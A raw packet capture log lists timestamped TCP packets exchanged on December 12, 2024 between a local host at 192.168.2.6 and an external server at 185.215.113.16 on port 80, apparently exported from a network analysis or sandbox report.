Dec 12, 2024 21:50:27.417670012 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.417783976 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.417821884 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.417912006 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.419714928 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.419884920 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.419924974 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.420006990 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.421808004 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.421883106 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.421931028 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.422125101 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.423811913 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.423887968 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.424154997 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.425860882 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.425967932 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.425975084 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.426095963 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.427988052 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.428091049 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.428179026 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.430010080 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.430124998 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.430150986 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.430229902 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.432113886 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.432239056 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.432413101 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.434181929 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.434293032 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.434329033 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.434396029 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.436197996 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.436291933 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.436369896 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.438359976 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.438371897 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.438549042 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.440291882 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.440393925 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.440562010 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.442323923 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.442483902 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.442492962 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.442783117 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.444442987 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.444597960 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.445187092 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.446566105 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.446659088 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.446666002 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.446764946 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.448622942 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.448743105 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.448812962 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.450594902 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.450752020 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.450865030 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.452748060 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.452850103 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.452877998 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.454804897 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.454890013 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.454919100 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.454987049 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.456851959 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.457050085 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.457191944 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.458816051 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.458975077 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.459001064 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.460915089 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.461047888 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.461072922 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.463243961 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.463479042 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.463505983 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.463588953 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.465073109 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.465158939 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.465214014 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.467195034 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.467432976 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.467484951 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.469219923 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.469333887 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.469392061 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.471245050 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.471347094 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.471410036 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.473392963 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.473450899 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.473521948 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.475393057 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.475449085 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.475475073 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.475594044 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.477374077 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.477561951 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.477615118 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.479548931 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.479608059 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.479609013 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.479711056 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.481549978 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.481632948 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.481671095 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.481712103 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.483725071 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.483802080 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.483808041 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.483848095 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.485672951 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.485722065 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.485795975 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.485886097 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.487740040 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.487807035 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.487808943 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.487965107 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.489741087 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.489829063 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.489835024 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.489877939 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.491802931 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.491857052 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.491888046 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.491931915 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.493791103 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.493865967 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.572349072 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.572427034 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.572715998 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.572762012 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.572854996 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.572982073 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.574428082 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.574484110 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.574491024 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.574525118 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.576158047 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.576210976 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.576325893 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.576370001 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.578041077 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.578083038 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.578190088 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.578315020 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.579664946 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.579771996 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.579814911 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.579853058 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.581562996 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.581620932 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.581707954 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.581748009 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.583058119 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.583113909 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.583163977 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.583594084 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.584687948 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.584789038 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.584849119 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.586375952 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.586487055 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.586528063 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.587980032 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.588062048 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.588104010 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.589595079 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.589643002 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.589724064 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.591325998 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.591372013 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.591382980 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.591579914 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.592916965 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.593002081 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.593039036 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.594297886 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.594391108 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.594429016 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.595813990 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.595937967 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.595973969 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.597390890 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.597464085 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.597502947 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.598946095 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.598989964 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.599021912 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.599193096 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.600363016 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.600518942 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.600569010 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.601826906 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.601922035 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.601968050 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.603421926 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.603481054 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.603522062 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.604829073 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.604902983 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.604952097 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.606231928 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.606282949 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.606317043 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.607590914 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.607671976 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.607722044 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.607806921 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.607848883 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.609092951 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.609141111 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.609278917 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.609319925 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.610546112 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.610585928 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.610656977 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.611592054 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.611974001 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.612016916 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.612029076 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.612066984 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.613424063 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.613472939 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.613518000 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.613538027 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.614736080 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.614870071 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.614928961 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.616172075 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.616250038 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.616295099 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.617583990 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.617631912 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.617755890 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.617798090 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.618942976 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.619000912 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.619051933 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.620470047 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.620560884 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.620609045 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.621726036 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.621872902 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.621917009 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.622989893 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.623084068 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.623114109 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.623131990 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.624463081 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.624500036 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.624541044 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.625740051 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.625889063 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.625931025 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.627160072 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.627233028 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.627248049 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.627588034 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.628540039 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.628593922 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.628623962 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.628674030 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.629909992 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.629960060 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.630053997 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.630094051 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.631294966 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.631500959 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.631548882 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.632714033 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.632829905 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.632874012 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.634033918 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.634155035 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.634192944 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.635453939 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.635494947 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.635539055 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.636815071 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.636934996 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.636975050 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.638187885 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.638293982 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.638374090 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.639736891 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.639842033 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.639887094 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.640970945 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.641014099 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.641071081 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.641742945 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.642313957 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.642357111 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.642407894 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.642448902 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.643690109 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.643733978 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.643773079 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.643815041 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.645062923 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.645123005 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.645173073 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.764799118 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.764976978 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.765069962 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.765304089 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.765412092 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.765464067 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.766343117 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.766463995 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.766513109 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.767503023 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.767608881 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.767643929 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.767658949 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.768515110 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.768573046 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.768605947 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.768640995 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.769543886 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.769591093 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.769637108 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.769675970 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.770577908 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.770673037 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.770673990 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.770708084 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.771642923 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.771794081 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.771827936 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.771841049 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.772732973 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.772784948 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.772797108 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:27.772835970 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:27.773776054 CET	80	49919	185.215.113.16	192.168.2.6
